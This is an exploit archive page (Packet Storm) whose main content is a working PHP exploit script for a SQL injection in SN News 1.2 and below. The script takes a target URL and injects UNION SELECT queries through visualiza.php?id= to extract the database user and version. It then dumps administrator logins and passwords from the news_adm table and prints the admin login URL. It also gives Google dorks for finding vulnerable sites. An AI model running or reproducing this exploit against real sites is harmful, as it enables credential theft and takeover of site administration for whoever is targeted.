what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

SN News 1.2 SQL Injection

SN News 1.2 SQL Injection
Posted Jun 7, 2012
Authored by WhiteCollarGroup

SN News versions 1.2 and below suffer from a remote SQL injection vulnerability in visualiza.php.

tags | exploit, remote, php, sql injection
SHA-256 | aacacee5354d62b76db5fa5c96305f3abdac02cc023a92e856b3744b9fa0bd72

SN News 1.2 SQL Injection

Change Mirror Download
<?php
/*
# Exploit Title: SN News <= 1.2 SQL Injection
# Google Dork: intext:"Produzido por Clenisson Calaça."
# Google Dork: inurl:"snews/visualiza.php?id="
# Date: 05th 06 2012
# Software Link: https://phpbrasil.com/script/JHnpFRmSBqlf/sn-news
# Version: 1.2
# Tested on: Debian GNU/Linux,Windows 7 Ultimate

Example:
$ php mnews.php https://target.com/scripts/mnews/

*/

error_reporting(E_ERROR);
set_time_limit(0);
@ini_set("default_socket_timeout", 30);

function hex($string){
$hex=''; // PHP 'Dim' =]
for ($i=0; $i < strlen($string); $i++){
$hex .= dechex(ord($string[$i]));
}
return '0x'.$hex;
}


echo "\nSN News <= 1.2 SQL Injection exploit\n";
echo "Discovered and written by WhiteCollarGroup\n";
echo "www.wcgroup.host56.com - whitecollar_group@hotmail.com\n\n";

if($argc!=2) {
echo "Usage: \n";
echo "php $argv[0] <target url>\n";
echo "Example:\n";
echo "php $argv[0] https://www.website.com/snnews\n";
exit;
}

$target = $argv[1];
if(substr($target, (strlen($target)-1))!="/") {
$target .= "/";
}
$inject = $target . "visualiza.php?id=-0'%20";

$token = uniqid();
$token_hex = hex($token);

echo "[*] Trying to get informations...\n";
$infos = file_get_contents($inject.urlencode("union all select 1,concat(".$token_hex.", user(), ".$token_hex.", version(), ".$token_hex."),3,4,5-- "));
$infos_r = array();
preg_match_all("/$token(.*)$token(.*)$token/", $infos, $infos_r);
$user = $infos_r[1][0];
$version = $infos_r[2][0];
if($user) {
echo "[*] MySQL version: $version\n";
echo "[*] MySQL user: $user\n";
} else {
echo "[-] Error while getting informations.\n";
}

echo "[*] Getting users...\n";
$i = 0;
while(true) {
$dados_r = array();
$dados = file_get_contents($inject.urlencode("union all select 1,concat(".$token_hex.", login, ".$token_hex.", senha, ".$token_hex."),3,4,5 from news_adm limit $i,1-- "));
preg_match_all("/$token(.*)$token(.*)$token/", $dados, $dados_r);
$login = $dados_r[1][0];
$senha = $dados_r[2][0];
if(($login) AND ($senha)) {
echo "-+-\n";
echo "User: $login\n";
echo "Pass: $senha\n";
} else {
break;
}
$i++;
}

echo "-+-+-\n";
if($i!=0) {
echo "[!] Admin login: {$target}admin/\n";
} else {
echo "[-] Exploit failed. Make sure that's server is using a valid version of SN News without Apache mod_security.\nWe're sorry.";
}
echo "\n";

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close